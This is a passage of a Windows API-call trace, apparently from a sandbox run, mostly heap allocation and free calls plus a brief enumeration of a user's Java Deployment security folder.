Size=0xa0) returned 0x3115708 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.777] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0273.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0273.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0273.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0273.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0273.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0273.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0273.778] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0273.779] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.779] PathFindFileNameW (pszPath="") returned="" [0273.779] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.779] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.781] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.781] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.781] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.781] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b0 | out: hHeap=0x640000) returned 1 [0273.782] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0273.782] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.782] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.782] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 